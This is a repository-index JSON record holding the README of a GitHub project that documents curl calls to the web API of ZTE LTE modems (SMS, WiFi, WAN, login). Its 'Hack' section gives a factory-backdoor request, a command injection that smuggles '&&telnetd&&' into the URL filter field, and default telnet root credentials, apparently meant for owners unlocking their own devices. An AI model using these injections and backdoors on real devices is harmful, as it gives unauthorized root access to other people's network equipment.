{"id":24511885,"url":"https://github.com/paulo-correia/zte_api_and_hack","last_synced_at":"2025-06-11T05:38:36.268Z","repository":{"id":40544981,"uuid":"254978894","full_name":"paulo-correia/ZTE_API_and_Hack","owner":"paulo-correia","description":"ZTE Modem API and Hack","archived":false,"fork":false,"pushed_at":"2022-05-03T13:13:48.000Z","size":36,"stargazers_count":108,"open_issues_count":12,"forks_count":31,"subscribers_count":2,"default_branch":"master","last_synced_at":"2025-03-15T10:09:12.279Z","etag":null,"topics":["api","hack","mf253m","mf286","mf823l","php","zte"],"latest_commit_sha":null,"homepage":null,"language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/paulo-correia.png","metadata":{"files":{"readme":"Readme.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-04-12T00:15:27.000Z","updated_at":"2025-03-12T21:32:05.000Z","dependencies_parsed_at":"2022-08-09T22:50:16.171Z","dependency_job_id":null,"html_url":"https://github.com/paulo-correia/ZTE_API_and_Hack","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paulo-correia%2FZTE_API_and_Hack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paulo-correia%2FZTE_API_and_Hack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paulo-correia%2FZTE_API_and_Hack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paulo-correia%2FZTE_API_and_Hack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/paulo-correia","download_url":"https://codeload.github.com/paulo-correia/ZTE_API_and_Hack/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/paulo-correia%2FZTE_API_and_Hack/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259209992,"owners_count":22822284,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["api","hack","mf253m","mf286","mf823l","php","zte"],"created_at":"2025-01-22T00:43:01.677Z","updated_at":"2025-06-11T05:38:36.244Z","avatar_url":"https://github.com/paulo-correia.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# ZTE API and Hack\n\n## PHP Classes\n\nSee **src** folder:\n\nCurl.php - Curl requests\n\nJson.php - Json Encode / Decode\n\nHex.php - Hex Encode / Decode\n\nSms.php - Sms List, Send and Delete Message(s)\n\nLogin.php - Login / Logoff\n\nWifi.php - WiFi Enable / Disable\n\nWan.php - Wan Connect / Disconnect\n\nHack.php - Hack the Modem\n\n## How to Use PHP Class\n\n**Require:**\n\nInstall php-curl extension\n\nInstall php-json extension\n\nSet your **modem_ip** and **password** on **index.php**\n\n**Optional:**\n\nComposer [https://getcomposer.org](https://getcomposer.org)\n\n**CLI interface:**\n\nphp index.php **parameters**\n\n| parameter1 | parameter2 |  parameter3 | Result |\n|------------|------------|-------------|--------|\n|   login    | on/off     |             |**Login or Logoff Modem**|\n|   ls       |            |             |**List all Messages** |\n|\t  rm       | #          |             |**Delete the Message #**|\n|   rm       | '*'        |             |**Delete all Messages**|\n|   snd      | Phone#     | 'Message'   |**Send The 'Message' to Phone#**|\n|   wifi     | on/off     |             |**Enable or Disable Wifi**|\n|   wan      | on/off     |             |**Connect or Disconnect WAN**|\n|   hack     |            |             |**Hack Modem**|\n\n**Obs:** Tested with PHP 7.2.29\n\nMinimum PHP version 5.3.0\n\nTo Help please open an Issue\n\nTo contribute open a Pullrequest\n\n***\n\n\n## API\n\nThis modem does not have API documentation.\n\n### Work with MF253M (Tested), MF823L, MF286, maybe others whit Web GUI\n\nmodem_ip is your modem IP\n\nPassword is base64 encoded\n[https://www.base64encode.org](https://www.base64encode.org)\n\n### Login\n```\nMethod: POST\n\ncurl -s --header \"Referer: http://\u003cmodem_ip\u003e/index.html\" -d 'isTest=false\u0026goformId=LOGIN\u0026password=\u003cPassword\u003e' http://\u003cmodem_ip\u003e/goform/goform_set_cmd_process\n\n\nif is OK {\"result\":\"3\"}\nif is BAD {\"result\":\"1\"}\n```\n\n### Logoff\n```\nMethod: POST\n\ncurl -s --header \"Referer: http://\u003cmodem_ip\u003e/index.html\" -d 'isTest=false\u0026goformId=LOGOFF' http://\u003cmodem_ip\u003e/goform/goform_set_cmd_process\n\n\nif is OK {\"result\":\"sucess\"}\n```\n\n### SMS List\n```\nMethod: GET\n\ncurl -s --header \"Referer: http://\u003cmodem_ip\u003e/index.html\" http://\u003cmodem_ip\u003e//goform/goform_get_cmd_process\\?isTest\\=false\\\u0026cmd\\=sms_data_total\\\u0026page=0\\\u0026data_per_page\\=500\\\u0026mem_store\\=1\\\u0026tags\\=10\\\u0026order_by\\=order+by+id+desc\n\nif is OK {\"messages\":[]}\n\n```\n\n### Delete SMS Message(s)\n```\nMethod: POST\n\ncurl -s --header \"Referer: http://\u003cmodem_ip\u003e/index.html\" -d \"isTest=false\u0026goformId=DELETE_SMS\u0026msg_id=\u003cid\u003e;\u0026notCallback=true\" curl -s --header \"Referer: http://\u003cmodem_ip\u003e/index.html\"\nhttp://\u003cmodem_ip\u003e/goform/goform_set_cmd_process\n\nid is a Message ID\nTo delete multiple pass ID one by one\n\nif is OK {\"result\":\"success\"}\n\n```\n\n### Send SMS Message\n```\nMethod: POST\n\ncurl -s --header \"Referer: http://\u003cmodem_ip\u003e/index.html\" -d \"isTest=false\u0026goformId=SEND_SMS\u0026notCallback=true\u0026Number=\u003cphone_number\u003e\u0026sms_time=\u003cdate\u003e\u0026MessageBody=\u003cmessage\u003e\u0026ID=-1\u0026encode_type=UNICODE\"\nhttp://\u003cmodem_ip\u003e/goform/goform_set_cmd_process\n\nphone_number is urlencoded\nmessage is hexencoded\n\nif is OK {\"result\":\"success\"}\n```\n\n### Disable WiFi\n```\nMethod: POST\n\ncurl -s --header \"Referer: http://\u003cmodem_ip\u003e/index.html\" -d 'goformId=SET_WIFI_INFO\u0026isTest=false\u0026m_ssid_enable=0\u0026wifiEnabled=0' http://\u003cmodem_ip\u003e/goform/goform_set_cmd_process\n\nif is OK {\"result\":\"success\"}\n\n```\n\n### Enable WiFi\n```\nMethod: POST\n\ncurl -s --header \"Referer: http:/\u003cmodem_ip\u003e/index.html\" -d 'goformId=SET_WIFI_INFO\u0026isTest=false\u0026m_ssid_enable=0\u0026wifiEnabled=1' http://\u003cmodem_ip\u003e/goform/goform_set_cmd_process\n\nif is OK {\"result\":\"success\"}\n\n```\n\n***\n\n## Hack\n\nLinux  users must install curl and telnet\n\nPassword is base64 encoded\n[https://www.base64encode.org](http://https://www.base64encode.org)\n\nLinux users may use base64 in terminal (see man base64)\n\nmodem_ip is your modem IP\n\n### Factory Backdoor\n\n```\nMethod: POST\n\ncurl -s -H \"Referer: http://\u003cmodem_ip\u003e/index.html\" \"http://\u003cmodem_ip\u003e/goform/goform_set_cmd_process?isTest=false\u0026goformId=CHANGE_MODE\u0026change_mode=2\u0026password=\u003cPassword\u003e\"\n\nif is OK {\"result\":\"success\"}\n\n```\n### Enable Root Acess\n\n```\nMethod: POST\n\ncurl \"http://\u003cmodem_ip\u003e/goform/goform_set_cmd_process\" -H \"Content-Type: application/x-www-form-urlencoded; charset=UTF-8\" -H \"Referer: http://\u003cmodem_ip\u003e/index.html\" --data \"isTest=false\u0026goformId=LOGIN\u0026password=\u003cPassword\u003e\"\n\nif is OK  {\"result\":\"3\"}\n\n```\n\n### Exploits Nvram\n\n```\nMethod: POST\n\ncurl \"http://\u003cmodem_ip\u003e/goform/goform_set_cmd_process\" -H \"Content-Type: application/x-www-form-urlencoded; charset=UTF-8\" -H \"Referer: http://\u003cmodem_ip\u003e/index.html\" --data \"isTest=false\u0026goformId=URL_FILTER_ADD\u0026addURLFilter=http%3A%2F%2F_L33T_H4X0R_%2F%26%26telnetd%26%26\"\n\nif is OK {\"result\":\"success\"}\n\n```\n\n### SSH Access\n\n```\ntelnet \u003cmodem_ip\u003e 4719\n\nUser: admin\nPass: admin\n\n```\n\n***\n\n### Special thanks to:\n\n[https://taisto.org/ZTE_MF823D](https://taisto.org/ZTE_MF823D) - for PHP Class\n\n[https://gist.github.com/mariodian/65641792700d237d30f3f47d24c746e0](http://gist.github.com/mariodian/65641792700d237d30f3f47d24c746e0) - for script shell\n\n[https://gist.github.com/mariodian/bafe4b0a83226d7680ee41424c4e5b7b](http://gist.github.com/mariodian/bafe4b0a83226d7680ee41424c4e5b7b) - for pushover\n\n[https://pushover.net](https://pushover.net)\n\n[https://www.fr.net.br/2016/02/modem-zte-mf823l-avaliacao.html](https://www.fr.net.br/2016/02/modem-zte-mf823l-avaliacao.html)\n\n[http://my-router.blogspot.com/2015/09/zte-mf823-4g-change-ip-of-modem-and-get.html](http://my-router.blogspot.com/2015/09/zte-mf823-4g-change-ip-of-modem-and-get.html)\n\n[http://blog.asiantuntijakaveri.fi/2017/03/backdoor-and-root-shell-on-zte-mf286.html](http://blog.asiantuntijakaveri.fi/2017/03/backdoor-and-root-shell-on-zte-mf286.html) - for Hack\n\n[https://www.base64encode.org](https://www.base64encode.org) - for code and decode base64\n\n[https://incarnate.github.io/curl-to-php/](https://incarnate.github.io/curl-to-php/) - for convert curl to PHP curl\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpaulo-correia%2Fzte_api_and_hack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpaulo-correia%2Fzte_api_and_hack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpaulo-correia%2Fzte_api_and_hack/lists"}